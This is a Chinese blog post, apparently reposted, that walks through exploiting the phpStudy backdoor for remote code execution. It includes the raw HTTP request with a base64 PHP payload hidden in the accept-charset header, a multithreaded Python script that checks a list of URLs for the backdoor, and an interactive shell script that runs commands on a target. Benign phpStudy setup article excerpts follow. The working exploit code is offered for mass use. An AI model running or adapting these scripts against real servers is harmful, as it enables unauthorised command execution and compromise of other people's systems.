phpstudy后门rce批量利用脚本的实现

写两个一个批量检测的 一个交互式shell的

暂时py 图形化的qt写出来..有点问题

后门包 :

GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
accept-charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7
Accept-Encoding: gzip,deflate
Upgrade-Insecure-Requests: 1

执行那段写shell即可

晚上抽点空简单写个发包的py:

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import queue

print("======Phpstudy Backdoor Exploit============\n")
print("===========By Qing=================\n")
print("=====Blog:https://www.cnblogs.com/-qing-/==\n")
payload = "echo \"qing\";"
payload = base64.b64encode(payload.encode('utf-8'))
payload = str(payload, 'utf-8')
headers = {
  'Upgrade-Insecure-Requests': '1',
  'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
  'Accept-Language': 'zh-CN,zh;q=0.9',
  'accept-charset': payload,
  'Accept-Encoding': 'gzip,deflate',
  'Connection': 'close',
}

def write_shell(url,headers):
  try:
    r = requests.get(url=url+'/index.php', headers=headers, verify=False,timeout=30)
    if "qing" in r.text:
      print ('[ + ] BackDoor successful: '+url+'===============[ + ]\n')
      with open('success.txt','a') as f:
          f.write(url+'\n')
    else:
      print ('[ - ] BackDoor failed: '+url+'[ - ]\n')
  except:
    print ('[ - ] Timeout: '+url+' [ - ]\n')

url = "http://xxx"
write_shell(url=url,headers=headers)

界面优化、改下多线程、批量读取文本文件后的代码:

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import threadpool

print("======Phpstudy Backdoor Exploit============\n")
print("===========By Qing=================\n")
print("=====Blog:https://www.cnblogs.com/-qing-/==\n")

def write_shell(url):
  payload = "echo \"qing\";"
  payload = base64.b64encode(payload.encode('utf-8'))
  payload = str(payload, 'utf-8')
  headers = {
  'Upgrade-Insecure-Requests': '1',
  'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
  'Accept-Language': 'zh-CN,zh;q=0.9',
  'accept-charset': payload,
  'Accept-Encoding': 'gzip,deflate',
  'Connection': 'close',
}
  try:
    r = requests.get(url=url+'/index.php', headers=headers, verify=False,timeout=30)
    if "qing" in r.text:
      print ('[ + ] BackDoor successful: '+url+'===============[ + ]\n')
      with open('success.txt','a') as f:
          f.write(url+'\n')
    else:
      print ('[ - ] BackDoor failed: '+url+'[ - ]\n')
  except:
    print ('[ - ] Timeout: '+url+' [ - ]\n')

# url = "http://xxx"
# write_shell(url=url,headers=headers)

def main():
  with open('url.txt','r') as f:
    lines = f.read().splitlines()
    task_pool=threadpool.ThreadPool(5)
    requests=threadpool.makeRequests(write_shell,lines)
  for req in requests:
    task_pool.putRequest(req)
    task_pool.wait()
if __name__ == '__main__':
  main()

#线程队列部分
# th=[]
# th_num=10
# for x in range(th_num):
#     t=threading.Thread(target=write_shell)
#     th.append(t)
# for x in range(th_num):
#     th[x].start()
# for x in range(th_num):
#     th[x].join()

你也可以加上读取php文件的字典 这个简单没啥说的

下一个是交互式shell

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import threadpool
import re

print("======Phpstudy Backdoor Exploit---os-shell============\n")
print("===========By Qing=================\n")
print("=====Blog:https://www.cnblogs.com/-qing-/==\n")

def os_shell(url,headers,payload):
  try:
    r = requests.get(url=url+'/phpinfo.php',headers=headers,verify=False,timeout=10)
    # print(r.text)
    res = re.findall("qing(.*?)qing",r.text,re.S)
    print("[ + ]===========The Response:==========[ + ]\n")
    res = "".join(res)
    print(res)
  except:
    print("[ - ]===========Failed! Timeout...==========[ - ]\n")

def main():
  url = input("input the Url , example:\"http://127.0.0.1/\"\n")
  payload = input("input the payload , default:echo system(\"whoami\");\n")
  de_payload = "echo \"qing\";system(\"whoami\");echo \"qing\";"
  if payload.strip() == '':
    payload = de_payload
  payload = "echo \"qing\";"+payload+"echo \"qing\";"
  payload = base64.b64encode(payload.encode('utf-8'))
  payload = str(payload, 'utf-8')
  headers = {
  'Upgrade-Insecure-Requests': '1',
  'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
  'Accept-Language': 'zh-CN,zh;q=0.9',
  'accept-charset': payload,
  'Accept-Encoding': 'gzip,deflate',
  'Connection': 'close',
  }
  os_shell(url=url,headers=headers,payload=payload)
if __name__ == '__main__':
  main()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持我们。

(0)

相关推荐

  • phpstudy的php版本自由修改的方法

    网上有着许多的网站集成搭建软件,比较出名的就有wamp,xampp,phpstudy等等 现在就来讲一讲phpstuy的php版本自由切换 安装下载之类的就不说了,http://www.phpstudy.net/ 官网就有,十分简单 看看界面,软件的作者将软件做的其实是挺人性化的,可以自己选择php版本,如下: 也可以升级(不过,说是升级,不如说是替换),私人订制,你懂得 软件有着很详细的文档说明,我就不多说了 现在重头戏来了,在php7出来了,或者更高版本的php出来后,软件就不能正确升级了,

  • phpStudy访问速度慢和启动失败的解决办法

    下面给大家介绍phpstudy访问速度慢的解决办法. 1.修改mysql数据库链接地址为ip地址127.0.0.1. 2.使用最新版本,这个坑了我好久时间. 下面一段内容是关于phpstudy启动失败的解决办法. php5.3.5.4和apache都是用vc9编译,电脑必须安装vc9运行库才能运行. php5.5.5.6是vc11编译,如用php5.5.5.6必须安装vc11运行库. vc9和vc11运行库下载:http://pan.baidu.com/s/1gd0y1Qb php5.5以上才有

  • phpstudy默认不支持64位php的解决方法

    备忘一下: windows上用phpstudy比较简便,但是其默认的php所有版本都是32位的,有坑,比如int最大值. 所以从php官网 点击打开链接http://windows.php.net/download#php-7.0-nts-VC14-x64 , 下载一个64位的php7丢到phpstudy的php目录下面去(和其他版本一起的那个目录): 丢进去之后,把名字改短一点,停掉并重启phpstudy,会自动加载刚丢进去的php版本,切换过来即可. 我用的是nginx+php,其他类型如A

  • PHPStudy下如何为Apache安装SSL证书的方法步骤

    一.安装SSL证书的环境 Apache安装目录:E:phpStudyPHPTutorialApache 以上为windows下测试SSL证书安装的目录,具体目录请根据自己的实际环境! 二.获取SSL证书 成功在沃通申请SSL证书后,会得到一个压缩包文件,解压后得到四个文件:for Apache.for IIS.for Ngnix. for Other Server,Apache 上需要用到 for Apache解压出来的证书文件以及自主生成的私钥.key文件. key 文件,需要找到生成 CSR

  • phpStudy2018安装教程及本地服务器的配置方法

    phpStudy 2018是一款非常强大的php环境调试工具,一次性安装,无须配置即可使用,是非常方便.好用的PHP调试环境.对学习PHP的新手来说,WINDOWS下环境配置是一件很困难的事:对老手来说也是一件烦琐的事.因此无论你是新手还是老手,该程序包都是一个不错的选择.  一,下载地址:http://www.phpstudy.net/download.html phpStudy 2018( PHP运行环境一键安装包) v1.17 官方最新版 支持win10 二,安装phpStudy (1),

  • phpStudy配置多站点多域名方法及遇到的403错误解决方法

    此文不太适合一点不懂多站点多域名的.适合于碰到难处了,一点就透.ok.比较随意. 首先,打开站点域名管理,配置如下,网站域名和目录都可以自己设置,端口重设一个,不要是80了,然后先新增再保存. 打开配置文件vhosts,会看到新增了801端口的东西 在配置文件http.conf中添加 ,在80后添加新端口号 然后在hosts文件中配置下,127.0.0.1 www.aaa.com 再就是,玛德GG了,出现forbidden了,403,没有访问权限. 废了很大劲终于找到了解决方案,下面先复制解决方

  • phpstudy2018 访问目录服务权限问题

    上篇文章给大家介绍了phpStudy2018安装教程及本地服务器的配置方法,需要的可以点击查看.今天更新phpstudy2018,安装后访问路径出现 You don't have permission to access /repertory/on this server.  意思是:您没有访问此服务器上的权限. 我就纳闷了,检查了好久最后查看配置文件vhosts.conf文件 发现2018版配置变了 只能乖乖的按照默认格式添加上 总结 以上所述是小编给大家介绍的phpstudy2018 访问目

  • phpStudy2016 配置多个域名期间遇到的问题小结

    第一步 在C:\Windows\System32\drivers\etc下的hosts文件下添加 第二步找到Apache 下的httpd.conf 文件 打开,去掉171行前边的# 第三步在apache的配置文件vhosts.conf中,配置以下内容 重启Apache就可以....域名配好了..此时又有问题了 浏览器出这样的页面 但是当你输入www.test.com/index.php时就可以访问index.php的程序需要写完整路径....怎么破...将第三步中的18行注释掉 或把option

  • 关于Windows 不能在 本地计算器 启动 Apache2(phpstudy)

    在百度之后,看到有同鞋提示要修改\phpStudy\Apache2\conf\里的httpd.conf文件,代码如下 复制代码 代码如下: <VirtualHost *:80> ServerAdmin webmaster@163.com DocumentRoot "D:\www" ServerName ymywz.com Options Indexes FollowSymLinks AllowOverride All Order allow,deny Allow from

  • phpStudy配置多站点多域名和多端口的方法

    本文介绍了phpStudy配置多站点多域名和多端口的方法,分享给大家,也给自己留个笔记 WWW目录下有三个项目目录: a    b    c Apache 默认httpd端口为 80,网站目录为D:\WWW\a 1.配置多域名多站点 第一步:点击"其他选项菜单"=>站点域名管理=>设置如下三个站点域名: (1)网站域名:a.com  网站目录:D:\WWW\a  网站端口:80 (2)网站域名:b.com  网站目录:D:\WWW\b  网站端口:80 (3)网站域名:c.

随机推荐